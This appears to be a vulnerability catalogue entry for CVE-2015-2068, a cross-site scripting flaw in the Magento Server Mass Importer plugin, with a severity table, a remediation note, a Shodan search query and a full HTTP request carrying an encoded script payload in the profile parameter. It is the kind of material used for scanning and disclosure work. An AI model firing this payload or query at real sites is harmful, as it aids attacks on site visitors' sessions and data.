| Title | Magento Server Mass Importer - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected Magento server. |
| Remediation | Apply the latest security patches provided by Magento to fix the XSS vulnerability in the Server Mass Importer module. |
| CVSS Score | 4.3 |
| EPSS Score | 0.05406 |
| CVE ID | CVE-2015-2068 |
| CWE ID | CWE-79 |
| Shodan Query | http.component:"Magento"http.component:"magento" |
| Tags | cve2015 cve plugin edb packetstorm magento magmi xss magmi_project magento_server vuln |
Magento Server Mass Importer plugin contains multiple cross-site scripting vulnerabilities which allow remote attackers to inject arbitrary web script or HTML via the (1) profile parameter to web/magmi.php or (2) QUERY_STRING to web/magmi_import_run.php.
GET /magmi/web/magmi.php?configstep=2&profile=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2068.yaml
🦈 Packet Capture: ⬇️ Download cve-2015-2068.pcap
N/AN/A